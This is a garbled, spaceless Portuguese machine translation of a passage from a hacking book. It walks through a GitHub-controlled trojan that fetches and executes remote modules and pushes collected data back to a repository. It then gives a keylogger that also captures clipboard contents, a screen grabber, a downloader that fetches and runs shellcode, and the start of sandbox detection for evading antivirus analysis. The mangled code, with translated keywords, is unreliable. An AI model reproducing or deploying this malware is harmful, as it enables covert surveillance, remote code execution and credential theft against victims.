Estepequenotrechodecdigosimplesmenteexpeumacorridafunoquelistatodososarquivosnaatual
diretrioeretornosquelistacomoumstring.Cadamduloquevocdesenvolvedeveexporumprazofuno
quelevaumnmerovariveldeargumentos.Issopermitequevoccarreguecadamdulodamesmamaneirae
deixaextensibilidadesuficienteparaquevocpodepersonalizarosarquivosdeconfiguraoparapassarargumentosparaa
mdulosevocdesejar.
Agoravamoscriarumoutromdulochamadoenvironment.py.
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

63/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

importos

defexecute(**args):
print"[*]Nomdulomeioambiente."
strretorno(os.environ)

Estemdulosimplesmenterecuperaasvariveis
deambientequesodefinidasnamquinaremotaemque

otrojanestemexecuo.AgoravamosempurraressecdigoparaonossorepoGitHubparaquesejautilizvelpelonossotrojan.
Apartirdalinhadecomando,digiteoseguintecdigoapartirdoseudiretriodorepositrioprincipal:
$Gitadd.
$Gitcommitm"Adicionandonovosmdulos"
$Gitempurrarorigemmestre
Nomedeusurio:********
Senha:********

entovocdeveveroseucdigoserempurradoparaoseurepoGitHubsintaselivreparafazerloginnasuaconta
everifique!Istoexatamentecomovocpodecontinuaradesenvolverocdigonofuturo.Voudeixaro
integraodemdulosmaiscomplexosparavoccomoumaliodecasa.Sevoctiverumacentena
trojansimplantados,vocpodeempurrarnovosmdulosparaoseurepoGitHubeQAlos,permitindoqueoseunovo
mduloemumarquivodeconfiguraoparaasuaversolocaldotrojan.Dessaforma,vocpodetestaremumamquinavirtualou
hospedarhardwarequevoccontrolarantesdepermitirqueumdeseustrojansremotosparapegarocdigoeuso
isto.

ConfiguraodeTria
Queremossercapazesdetarefanossatrojancomarealizaodedeterminadasaesduranteumperododetempo.este
significaqueprecisamosdeumamaneiradedizerqueoqueaesaseremexecutadasequaismdulossoresponsveis
por

realizaressasaes.Usandoumarquivodeconfiguraonosdessenveldecontrole,etambmpermite
nosparacolocarefetivamenteumtrojanparadormir(pornodarlhetodasastarefas)devemosescolher.Cadatrojanque
vocimplantadeveterumidentificadornico,tantodemodoquevocpodeclassificarosdadosrecuperadoseparaque
vocpodecontrolarquaistrojanexecutadeterminadastarefas.Vamosconfigurarotrojanseolharnoconfigurao
diretrioparaTROJANID.json,queretornarumdocumentoJSONsimplesquepodeanalisar,
converterparaumdicionrioPython,edepoisusar.OformatoJSONtornamaisfcilparaalteraraconfigurao
opestambm.Semoveemsuaconfiguraodediretrioecriarumarquivochamadoabc.jsoncomoseguinte
contedo:
[
{
"Mdulo":"dirlister"
},
{
"Mdulo":"meioambiente"
}
]

Estaapenasumasimpleslistademdulosquequeremosqueotrojanremotoparaexecutar.Maistardevocvaivercomons
leianestedocumentoJSONe,emseguida,iterarsobrecadaopoparaobterosmduloscarregados.Comovoc
Brainstormmdulodeideias,vocpodeacharquetilparaincluiropesdeconfiguraoadicionaistais
comoduraodaexecuo,nmerodevezesparaexecutaromduloescolhido,ouargumentosaserempassados
parao

mdulo.Cairemumalinhadecomandoeexecuteoseguintecomandoapartirdeseudiretriorepoprincipal.
$Gitadd.
$Gitcommitm"Adicionandosimplesdeconfigurao."
$Gitempurrarorigemmestre
Nomedeusurio:********
Senha:********

Estedocumentodeconfiguraobastantesimples.Vocforneceumalistadedicionriosquecontamatrojanque
mdulosdeimportaoedeexecuo.Comovocconstruirasuaestrutura,vocpodeadicionarfuncionalidadeadicional
essasopesdeconfigurao,incluindoosmtodosdeexfiltrao,comoeumostrarlhenoCaptulo9.Agoraque
voctemseusarquivosdeconfiguraoealgunsmdulossimplesdeexecutar,vocvaicomearaconstruirapgina
peatrojan.

ConstruindoumGithubAwareTrojan
Agoravamoscriaroprincipaltrojanquevaisugarparabaixoopesdeconfiguraoeaexecuodecdigo
doGitHub.Oprimeiropassoodeconstruirocdigonecessrioparalidarcomligando,autenticao,e
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

64/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

comunicarAPIGitHub.Vamoscomearporabrirumnovoarquivochamadogit_trojan.pyeinserindo
oseguintecdigo:
jsonimportao
base64importao
sysimportao
tempodeimportao
impimportao
importaoaleatria
rosqueamentodeimportao
Filadeimportao
importos

desdeologinimportaogithub3
trojan_id="abc"
trojan_config="%s.json"%trojan_id
data_path
="Dados/%s/"%trojan_id
trojan_modules=[]
configurado
=False
task_queue
=Queue.Queue()

Esteapenasumcdigodeconfiguraosimplescomasimportaesnecessrias,oquedevemanteranossatrojangeral
tamanhorelativamentepequenoquandocompilado.EudigorelativamenteporquebinriosPythonmaiscompiladasusando
py2exe[15]estoemtornode7MB.Anicacoisaanotarotrojan_idvarivelqueexclusivamente
identificaestetrojan.Sevocfosseparaexplodirestatcnicaparaumbotnetcompleto,vociriaquerero
capacidadedegerartrojans,definiuseuID,criarautomaticamenteumarquivodeconfiguraoqueempurradopara
GitHub,edepoiscompilarotrojanemumarquivoexecutvel.Novamosconstruirumabotnethoje,emboraEuvoupermitir
suaimaginaofazerotrabalho.
AgoravamoscolocarocdigoGitHubrelevanteemvigor.
connect_to_githubdef():
gh=login(username="yourusername",password="yourpassword")
repo
=gh.repository("yourusername","chapter7")
branch=repo.branch("master")
retornogh,repo,ramo
get_file_contentsdef(FilePath):
gh,repo,ramo=connect_to_github()
tree=branch.commit.commit.tree.recurse()
parafilenameemtree.tree:
sefilepathemfilename.path:
print"[*]arquivoencontrado%s"%filepath
blob=repo.blob(filename._json_data['sha'])
blob.contentretorno
Nenhumvoltar
get_trojan_configdef():
configuradomundial
config_json
=get_file_contents(trojan_config)
configurao
=Json.loads(base64.b64decode(config_json))
configurado
=True

paraatarefadeconfigurao:
seatarefa['module']noemsys.modules:
exec("importao%s"%tarefa['module'])
configuraoderetorno
store_module_resultdef(dedados):
gh,repo,ramo=connect_to_github()
remote_path="dados/%S/%d.data"%(trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"Entregademensagem",base64.b64encode(data))
Retorna

EssasquatrofunesrepresentamainteraofundamentalentreotrojaneGitHub.o
connect_to_githubfunosimplesmenteautenticaousurioparaorepositrio,erecuperaoatual
compromissadasefilialobjetosparausoporoutrasfunes.Mantenhaemmentequeemummundorealcenrio,voc
querofuscaresseprocedimentodeautenticaodamelhorformaquepuder.Voctambmpodequererpensarsobre
oquecadaumtrojanpodeacessaremseurepositriocombaseemcontrolesdeacessodemodoque,seotrojan
capturados,algumnopodevireexcluirtodososdadosrecuperados.osget_file_contents
funoresponsvelporpegarosarquivosdoreporemotoe,emseguida,lerocontedoem
localmente.Estausadatantoparaaleituradeopesdeconfigurao,bemcomoleituradecdigofontedomdulo.
Oget_trojan_configfunoresponsvelporrecuperarodocumentodeconfiguraoremota
apartirdorepoparaqueotrojansabequaismdulosparaserexecutado.Eafunofinal
store_module_resultusadoparaempurrarqualquerdadosquevocjrecolhidossobreodestinomquina.Agora
vamoscriarumcortedeimportaoparaimportararquivosremotosdonossorepoGitHub.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

65/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

HackingfuncionalidadedeimportaodoPython
Sevocchegouataquinolivro,vocsabequensusamosdePythonimportaofuncionalidadeparapuxar
bibliotecasexternasparaquepossamosusarocdigocontidodentro.Queremossercapazesdefazeromesmo
coisaparaonossotrojan,mas,almdisso,tambmqueremostercertezadeque,sepuxarumadependncia(tal
comoscapyounetaddr),onossotrojanfazessemdulodisponvelparatodososmdulossubseqentesquepuxam
no.Pythonnospermiteinserirnossaprpriafuncionalidadeemcomoeleimportamdulos,demodoqueseummdulo
nopodeserencontradalocalmente,anossaclassedeimportaoserchamado,oquenospermitirrecuperarremotamenteo
bibliotecadonossorepo.Istoconseguidoatravsdaadiodeumaclassepersonalizadaparaosys.meta_pathlista.[16]Vamos
criarumaclassedecargapersonalizadoagora,adicionandooseguintecdigo:
classeGitImporter(objeto):
def__init__(self):
self.current_module_code=""
find_moduledef(self,nomecompleto,ocaminho=None):
seconfigurado:
print"[*]Atentativaderecuperar%s"%fullname
new_library=get_file_contents("mdulos/%s"%fullname)

senew_librarynoNone:
self.current_module_code=base64.b64decode(new_library)
retornarauto

Nenhumvoltar
load_moduledef(self,nome):

module=imp.new_module(nome)
self.current_module_codeexecnomdulo.__dict__
sys.modules[nome]=mdulo

mduloderetorno

Cadavezqueointrpretetentacarregarummduloquenoestdisponvel,aGitImporterclasse
usava.Ofind_modulefunochamadaemprimeirolugar,numatentativadelocalizaromdulo.Nspassarestachamadapara
nossocarregadordearquivoremotoeseconseguirmoslocalizaroarquivoemnossorepo,nsBase64decodificarocdigoe
armazenloemnossaclasse.Aoretornarauto,indicamosparaointerpretadorPythonqueencontramoso
mduloequepode,emseguida,ligueparaonossoload_modulefunopararealmentecarreglo.Nsusamosonativoimp
mduloparacriarprimeiroumnovoobjetomduloembrancoe,emseguida,nstrabalhacompocdigoquerecuperadode
GitHubparaele.Oltimopassoinserirnossomdulorecmcriadoparaosys.moduleslistaassim
queelepegoporqualquerfuturaimportaochamadas.Agoravamosdarosltimosretoquesnatrojane
Leveoparadarumavolta.
module_runnerdef(mdulo):
task_queue.put(1)
Resultado=sys.modules[mdulo].run()
task_queue.get()

#Armazenaroresultadononossorepo
store_module_result(resultado)
Retorna

#Loopprincipaltrojan
sys.meta_path=[GitImporter()]
whileTrue:

Setask_queue.empty():

configurao

=Get_trojan_config()

paraatarefadeconfigurao:
t=threading.Thread(target=module_runner,args=(tarefa['module'],))
t.start()
time.sleep(random.randint(1,10))
time.sleep(random.randint(1000,10000))

Emprimeirolugar,certifiquesedeadicionaronossomdulopersonalizadoimportadorantesdecomearoloopprincipaldanossa
aplicao.Oprimeiropassopegaroarquivodeconfiguraodorepoedepoislanaro
mduloemseuprpriosegmento.Enquantoestamosnomodule_runnerfuno,bastaligarparao
domdulorunfunoparalanarseucdigo.Quandoelefeitoemexecuo,devemosteroresultadoemum
stringquensentoempurrarparaonossorepo.Ofimdanossatrojan,ento,dormirporumperodoaleatriode
vezemumatentativadedespistarqualqueranlisedopadroderede.Vocpoderia,claro,criarummontedetrfegopara
Google.comouqualquernmerodeoutrascoisas,natentativadedisfararoseutrojanat.Agora
vamoslevloparaumarotao!

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

66/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
Tudocerto!Vamosdaressacoisaparadarumavolta,executandooapartirdalinhadecomando.
AVISO
Sevoctiverinformaesconfidenciaisemarquivosouvariveis
deambiente,lembreseque,semumrepositrioprivado,que

informaoestindoparairatGitHubparaomundointeirover.Nodigaqueeunoaviseie,claro,vocpodeusar
algumastcnicasdecriptografiadeCaptulo9.
$Pythongit_trojan.py
[*]Abc.jsonarquivoencontrado
[*]Atentativaderecuperardirlister
[*]Mdulosdearquivoencontrado/dirlister
[*]Atentativaderecuperarambiente
[*]Mdulosdearquivoencontrado/ambiente
[*]Nomdulodirlister
[*]Nomduloambiente.

Perfeito.ligadoaomeurepositrio,recuperadasdoarquivodeconfigurao,puxouosdoismdulosque
definidonoarquivodeconfigurao,ecorreulos.
Agora,sevoccairdevoltanasualinhadecomandodoseudiretriotrojan,digite:
$Gitpuxarorigemmestre
Dehttps://github.com/blackhatpythonbook/chapter7
*ramo
dominar
>FETCH_HEAD
atualizaof4d9c1d..5225fdf
Avanorpido
dados/abc/29008.data|1+
dados/abc/44763.data|1+
2ficheirosalterados,2inseres(+),0delees()
mododecriar100644dados/abc/29008.data
mododecriar100644dados/abc/44763.data

Impressionante!Nossatrojanverificadanosresultadosdosnossosdoismdulosemexecuo.
Humasriedemelhoriaseaperfeioamentosquevocpodefazeraestencleodecomandoe
tcnicadecontrole.Criptografiadetodososseusmdulos,configuraoeexfiltrateddedadosseriaumaboa
comear.Automatizarogerenciamentodebackenddosdadossuspensos,atualizandoarquivosdeconfigurao,erolando
Novostrojanstambmserianecessriasevocestavaindoparainfectaremumaescalamacia.medidaqueadiciona
maisemaisfuncionalidades,voctambmprecisaestendercomocargasPythondinmicoecompilado
bibliotecas.Poragora,vamostrabalharnacriaodealgumastarefasdetriaindependentes,eeuvoudeixarparavoc
integrlosemseunovotrojanGitHub.
[14] Orepo,ondeestabibliotecaesthospedadoestaqui:https://github.com/copitux/pythongithub3/.
[15] Vocpodeconferirpy2exeaqui:http://www.py2exe.org/.
[16] UmaexplicaoincrveldesteprocessoescritoporKarolKuczmarskipodeserencontradaaqui:http://xion.org.pl/2012/05/06/hacking

pythonImportao/.

Captulo8.TarefasTrojaningComumpara
janelas
Quandovocimplantaumtrojan,quedesejaexecutaralgumastarefascomuns:asteclasdigitadasagarrar,tomar
screenshots,eexecutarshellcodeparafornecerumasessointerativaparaferramentascomoCANVASou
Metasploit.Estecaptuloseconcentrasobreestastarefas.Nsvamosembrulharascoisascomumpoucodedetecosandbox
tcnicasparadeterminarseestamosexecutandodentrodeumantivrusouforensesandbox.estesmdulos
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

67/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

vaiserfcildemodificareirtrabalhardentrodonossoquadrotrojan.Nosprximoscaptulos,vamosexplorar
maninthebrowserstyleataquesetcnicasdeelevaodeprivilgiosquevocpodeimplantarcomoseu
trojan.Cadatcnicavemcomseusprpriosdesafioseprobabilidadedeserapanhadopelousuriofinal
ouumasoluoantivrus.Eurecomendoquevocmodelarcuidadosamenteoseudestinodepoisdeterimplantadooseu
trojandemodoquevocpodetestarosmdulosemseulaboratrioantesdetentarlosemumalvovivo.Vamoscomear
criandoumkeyloggersimples.

KeyloggingparadiversoeTeclas
Keyloggingumdosmaisantigostruquesnolivroeaindaempregadocomvriosnveisdediscrio
hoje.Osatacantesaindausloporqueextremamenteeficazemcapturarinformaesconfidenciais,como
credenciaisouconversas.
UmabibliotecaPythonexcelentechamadoPyHook[17]nospermiteinterceptarfacilmentetodososeventosdeteclado.Leva
vantagemdafunoWindowsnativoSetWindowsHookEx,quepermitequevocinstaleumuser
funodefinidaparaserchamadoparadeterminadoseventosdoWindows.Aoregistrarumganchoparaeventosdeteclado,
somoscapazesdeinterceptartodasasteclaspressionadasqueumquestesalvo.Almdetudoisso,queremossaberexatamente
oprocessoqueelesestoexecutandoestasteclascontra,paraquepossamosdeterminarquandonomesdeusurio,
senhasououtrospetiscosdeinformaesteissoinseridos.PyHookcuidadetodaabaixa
programaodenvelparans,oquedeixaalgicadoncleodokeystrokeloggeratns.Vamosrachadura
abrirkeylogger.pyesoltaremalgumasdascanalizaes:
dectypesimportao*
pythoncomimportao
importaopyHook
win32clipboardimportao
user32
=windll.user32
kernel32=windll.kernel32
PSAPI
=windll.psapi
current_window=None

get_current_processdef():

#Obterumidentificadorparaajanelaemprimeiroplano
hwnd=user32.GetForegroundWindow()
#EncontraroIDdoprocesso
pid=c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(PID))
#ArmazenaroIDdoprocessoatual
process_id="%d"%pid.value
#Pegaroexecutvel
executvel=create_string_buffer("\x00"*512)
h_process=kernel32.OpenProcess(0x400|0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executvel),512)
#Agoraleroseuttulo
WINDOW_TITLE=create_string_buffer("\x00"*512)
length=user32.GetWindowTextA(hwnd,byref(WINDOW_TITLE),512)
#Imprimirocabealhoseestamosnoprocessocerto
impresso
print"[PID:%s%s%s]"%(process_id,executable.value,JANELA.
title.value)
impresso
#alasestreitas
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

68/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Tudocerto!Ento,nsapenascolocaremalgumasvariveis
auxiliareseumafunoqueircapturarajanelaativa

esuaassociadaIDprocesso.NsprimeirochamarGetForegroundWindow,queretornaumidentificadorparao
janelaativanareadetrabalhodoalvo.EmseguidapassamosesseidentificadorparaaGetWindowThreadProcessId
funopararecuperarajanelaprocessoID.Ns,emseguida,abriroprocessodee,usandooqueresulta
identificadordeprocesso,encontramosonomeexecutvelrealdoprocesso.Opassofinalparaagarraraplena
textodabarradettulodajanelausandoaGetWindowTextAfuno.Nofinaldonossohelper
funoqueasadadetodasasinformaesemumbomcabeceamentodemodoquevocpodeverclaramenteque
teclasdigitadasentroucomoqualprocessoejanela.Agoravamoscolocaracarnedanossakeystrokeloggerem
lugarparaterminlofora.
defKeyStroke(evento):
current_windowmundial
#Verificarparaverseoalvomudoujanelas
seevent.WindowName=current_window!
current_window=event.WindowName
get_current_process()

#Sepressionadoumachavepadro
Seevent.Ascii>32eevent.Ascii<127:
chrimpresso(event.Ascii),
outro:
#Se[CtrlV],obterovalornareadetransferncia
seevent.Key=="V":
win32clipboard.OpenClipboard()
pasted_valuewin32clipboard.GetClipboardData=()
win32clipboard.CloseClipboard()
print"[PASTE]%s"%(pasted_value),
outro:

print"[%s]"%event.Key,
execuo#passeparaaprximaganchoregistrado
retornarTrue
#Criareregistrarumgerenciadordegancho
=PyHook.HookManager()
kl
kl.KeyDown=KeyStroke
#Registraroganchoeexecutarparasempre

kl.HookKeyboard()

pythoncom.PumpMessages()

Issotudoquevocprecisa!NsdefinimosanossaPyHookHookManagere,emseguida,vincularoKeyDowneventoaonosso
definidapelousuriochamadadefunoKeyStroke.Emseguida,instruirPyHookparaligartodasasteclaspressionadase
continuaraexecuo.Semprequeoalvopressionaumachavenoteclado,onossoKeyStrokefuno
chamadocomumobjetodeeventocomoseunicoparmetro.Aprimeiracoisaquefazemosverificarseousuriotem
janelasalteradoseseassimfor,podemosadquirirnomeeprocessodeinformaodanovajanela.Nsento
olharparaacombinaodeteclasquefoiemitidoeseelecaidentrodointervaloASCIIimprimvel,simplesmente
Imprimaisso.Seummodificador(comoateclaSHIFT,CTRLouALTchaves)ouqualqueroutrateclaquenosejapadro,ns
agarraronomedachavedoobjetodeevento.Nstambmverificarseousurioestexecutandoumaoperaodecolar,
eseassimquedespejarocontedodareadetransferncia.Afunoderetornoterminaretornandoverdadeiropara
permitirqueoganchoseguintenacadeiasehumaparaprocessaroevento.Vamoslevloparaumarotao!

Chutarospneus
fcildetestaronossokeylogger.Bastaexecutloe,emseguida,comearausaroWindowsnormalmente.Tenteusaroseu
navegadorweb,calculadora,ouqualqueroutraaplicao,everosresultadosnoseuterminal.Asada
abaixoestindoolharumpoucofora,queapenasdevidoformataonolivro.
C:\>pythonkeyloggerhook.py
[PID:3836cmd.exeC:\WINDOWS\system32\cmd.exe
c:\python27\python.exeloggerhook.pykey]
teste

[PID:120IEXPLORE.EXEBingMicrosoftInternetExplorer]
www.nostarch.com[Return]
[PID:3836cmd.exeC:\WINDOWS\system32\cmd.exe
c:\python27\python.exekeyloggerhook.py]
[Lwin]r

[PID:1944Explorer.EXERun]
calc[Return]
[PID:2848calc.exeCalculator]

[lshift]+1=

Vocpodeverqueeudigiteiapalavratestenajanelaprincipal,ondeoscriptkeyloggercorreu.Euento
despediuseInternetExplorer,navegouparawww.nostarch.com,ecorreualgumasoutrasaplicaes.Nspodemos
agoradizercomseguranaqueonossokeyloggerpodeseradicionadoemnossosacodetrojaningtruques!Vamospassaratomar
screenshots.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

69/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

tomandoScreenshots
Amaioriadaspeasdeestruturasdemalwareetestesdepenetraoincluemacapacidadedetirarscreenshots
contraoalvoremoto.Issopodeajudaracapturarimagens,quadrosdevdeoououtrosdadossensveisquevoc
nopodevercomumacapturaoukeyloggerpacote.Felizmente,podemosusaropacotePyWin32(veja
InstalandoosPrrequisitos)parafazernativaschamadasparaodoWindowsAPIparaagarrarlos.
UmgrabberimagemusarodispositivodeinterfacegrficadoWindows(GDI)paradeterminarnecessrio
propriedades,taiscomootamanhototaldatela,eparaagarraraimagem.Algunssoftwaresdecapturadetelaserapenas
agarrarumaimagemdajanelaativanomomentoouaplicao,masnonossocaso,queremosquetodaa
tela.Vamoscomear.Crackabrirscreenshotter.pyesoltarnocdigoaseguir:
win32guiimportao
win32uiimportao
win32conimportao
win32apiimportao
#Pegarumidentificadorparaajanelaprincipaldodesktop
hdesktop=win32gui.GetDesktopWindow()

#Determinarotamanhodetodosospixelsemmonitores
largura=win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height=win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
esquerda=win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top=win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
#Criarumcontextodedispositivo
desktop_dc=win32gui.GetWindowDC(hdesktop)
img_dc=win32ui.CreateDCFromHandle(desktop_dc)
#Criarumcontextodedispositivodememriacombase
mem_dc=img_dc.CreateCompatibleDC()
#Criarumobjetodebitmap
imagem=win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc,largura,altura)
mem_dc.SelectObject(imagem)
#Copiaratelaemnossocontextodispositivodememria
mem_dc.BitBlt((0,0),(largura,altura),img_dc,(esquerda,emcima),win32con.SRCCOPY)

#salvarobitmapparaumarquivo
screenshot.SaveBitmapFile(mem_dc,'c:\\windows\\Temp\\screenshot.bmp')
#Libertarnossosobjetos
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

Vamosreveroqueestepequenoscriptfaz.Emprimeirolugar,adquirirumidentificadorparaodesktopinteiro,que
incluitodaareavisvelemvriosmonitores.Emseguida,determinarotamanhodo
tela(s)paraquepossamossaberasdimensesnecessriasparaacapturadetela.Nscriamosumdispositivo
contexto[18]usandooGetWindowDCchamadadefunoepassarumidentificadorparaonossoambientedetrabalho.Emseguida,precisamos
paracriarumcontextodedispositivobaseadoemmemriaondevamosguardaranossacapturadeimagematquearmazenaro
bitmapbytesemumarquivo.Emseguida,criamosumobjetodebitmapqueestdefinidoparaocontextodedispositivodenosso
readeTrabalho.OSeleccionarObjectochamadaemseguida,defineocontextodedispositivobaseadoemmemriaparaapontarparaobitmap
objetoqueestamosacaptura.UsamosoBitBltfunoparatirarumacpiabitporbitdareadetrabalho
imagemearmazenlonocontextobaseadoemmemria.PensenissocomoummemcpychamadaparaobjetosGDI.o
passofinalparadespejarestaimagemparaodisco.Estescriptfcildetestar:bastaexecutloapartirdocomando
lineeverificaroC:\WINDOWS\Tempdiretrioparaoseuscreenshot.bmparquivo.Vamospassarpara

execuoshellcode.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

70/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ExecuoPythonicShellcode
Podechegarummomentoemquevocquersercapazdeinteragircomumadassuasmquinasdedestino,ououso
umnovosuculentoexplorarmdulodeseutestedepenetraofavoritoouexplorarquadro.este
normalmenteemboranemsemprerequeralgumaformadeexecuoshellcode.Paraexecutarcrua
shellcode,nssimplesmenteprecisamoscriarumbuffernamemria,eusandoactypesmdulo,criarum
funcionarponteiroparaamemriaechamarafuno.Nonossocaso,vamosusarurllib2paraagarrar
oshellcodedeumservidorwebemformatobase64e,emseguida,executlo.Vamoscomear!Abrir
shell_exec.pyedigiteoseguintecdigo:
urllib2deimportao
ctypesimportao
base64importao
#Recuperaroshellcodedonossoservidorweb
url="http://localhost:8000/shellcode.bin"
resposta=urllib2.urlopen(url)
#Decodificaroshellcodedebase64
shellcode=base64.b64decode(response.read())
#Criarumbuffernamemria
shellcode_buffer=ctypes.create_string_buffer(shellcode,len(shellcode))
#Criarumponteirodefunoparaonossoshellcode
shellcode_func=ctypes.cast(shellcode_buffer,ctypes.CFUNCTYPE
(Ctypes.c_void_p))
#Chamaronossoshellcode

shellcode_func()

Comoimpressionanteisso?Nschutlafora,recuperandoonossoshellcodecodificadoembase64donossoweb
servidor.Emseguida,alocarumbufferparaseguraroshellcodedepoisquensdescodificadolo.Osctypeselenco
funopermitenosparalanarobufferdeagircomoumponteirodefunoparaquepossamoschamaronossoshellcode
comopoderamoschamarqualquerfunonormaldoPython.Nsterminlochamandoonossoponteirodefuno,que

emseguida,fazcomqueoshellcodeparaexecutar.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

71/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus

VocpodehandcodealgunsshellcodeouusaroseuquadropentestingfavoritocomoCANVASou
Metasploit[19]paragerlaparavoc.EuescolhialgunscallbackshellcodeWindowsx86paraCANVASem
omeucaso.Armazenaroshellcodecru(noamemriaintermdiadecadeia!)Em/tmp/shellcode.rawemsuamquinaLinux
eexecuteoseguinte:
justin$base64ishellcode.raw>shellcode.bin
justin$pythonmSimpleHTTPServer
ServindoHTTPno0.0.0.0porta8000...

NssimplesmentecodificadoemBase64oshellcodeusandoalinhadecomandopadrodoLinux.Oprximotruquepouco
usaoSimpleHTTPServermduloparatrataroseudiretriodetrabalhoatual(nonossocaso,/tmp/)comoseu
raizdaweb.Quaisquerpedidosdearquivosserservidoautomaticamenteparavoc.Agorasoltaroseushell_exec.py
scriptemsuamquinavirtualdoWindowseexecutlo.VocdeveveroseguintenoseuterminalLinux:
192.168.112.130[12/Jan/201421:36:30]"GET/shellcode.binHTTP/1.1"200

Issoindicaqueoscripttiverrecuperadooshellcodedoservidorwebsimplesquevocconfigure
usandooSimpleHTTPServermdulo.Setudocorrerbem,vocreceberumshelldevoltaparaoseuquadro,
esurgiramcalc.exe,ouexibidaumacaixademensagemouoqueseushellcodefoicompilado.

DetecoSandbox
Cadavezmais,soluesantivrusutilizamalgumaformadesandboxingparadeterminarocomportamentode
amostrassuspeitas.Seestacaixadeareiaexecutadonopermetrodarede,queestsetornandomais
popular,ounamquinadedestinoemsi,temosdefazeronossomelhorparaevitartombamentonossamoaqualquerdefesa
nolugarnarededoalvo.Podemosusaralgunsindicadoresparatentardeterminarseonossotrojan
executadodentrodeumacaixadeareia.Vamosacompanharanossamquinadedestinoparaentradadousuriorecente,incluindo
teclasecliquesdomouse.
Ento,vamosadicionarumpoucodeintelignciabsicaparaprocurarteclas,cliquesdomouseeclicaduasvezes.Nosso
scripttambmirtentardeterminarseooperadorsandboxoenviodeentradarepetidamente(ouseja,umasuspeita
rpidasucessodecliquesdomousecontnuas),afimdetentarresponderasandboxrudimentar
mtodosdedeteco.Vamoscompararaltimavezqueumusuriointeragecomamquinacontraotempo
amquinaestemfuncionamento,oquedevedarnosumaboaideiaseestamosdentrodeumacaixadeareiaou
no.Umamquinatpicatemmuitasinteraesemalgummomentoduranteumdia,umavezquetenhasidoiniciado,
Considerandoqueumambientesandboxgeralmentetemnenhumainteraodousurioporquecaixasdeareiasonormalmenteutilizados
comoumatcnicadeanlisedemalwareautomatizado.
Podemos,ento,fazerumadeterminaosobresensgostaramosdecontinuaraexecuoouno.Vamos
comearatrabalharemalgumcdigodedetecodecaixadeareia.Abrirsandbox_detect.pyelancedaseguinte
cdigo:
ctypesimportao
importaoaleatria
tempodeimportao
sysimportao
user32
=ctypes.windll.user32
kernel32=ctypes.windll.kernel32

keystrokes
mouse_clicks
double_clicks

=0
=0
=0

Estassoasprincipaisvariveis
paraondeestamosindopararastrearonmerototaldecliquesdomouse,dumduplo

cliqueseteclas.Maistarde,vamosolharparaocalendriodoseventosdoratotambm.Agoravamoscriar
etestaralgumcdigoparadetectarquantotempoosistemafoiexecutadoequantotempodesdealtima
entradadousurio.Adicioneaseguintefunoaoseusandbox_detect.pyscript:
classeLASTINPUTINFO(ctypes.Structure):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

72/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

_fields_=[("cbSize",ctypes.c_uint),
("DwTime",ctypes.c_ulong)
]
get_last_inputdef():
struct_lastinputinfoLASTINPUTINFO=()
struct_lastinputinfo.cbSize=ctypes.sizeof(LASTINPUTINFO)

#Obterltimaentradaregistrada
user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

#Agoradeterminarquantotempoamquinaestemfuncionamento

RUN_TIMEkernel32.GetTickCount=()
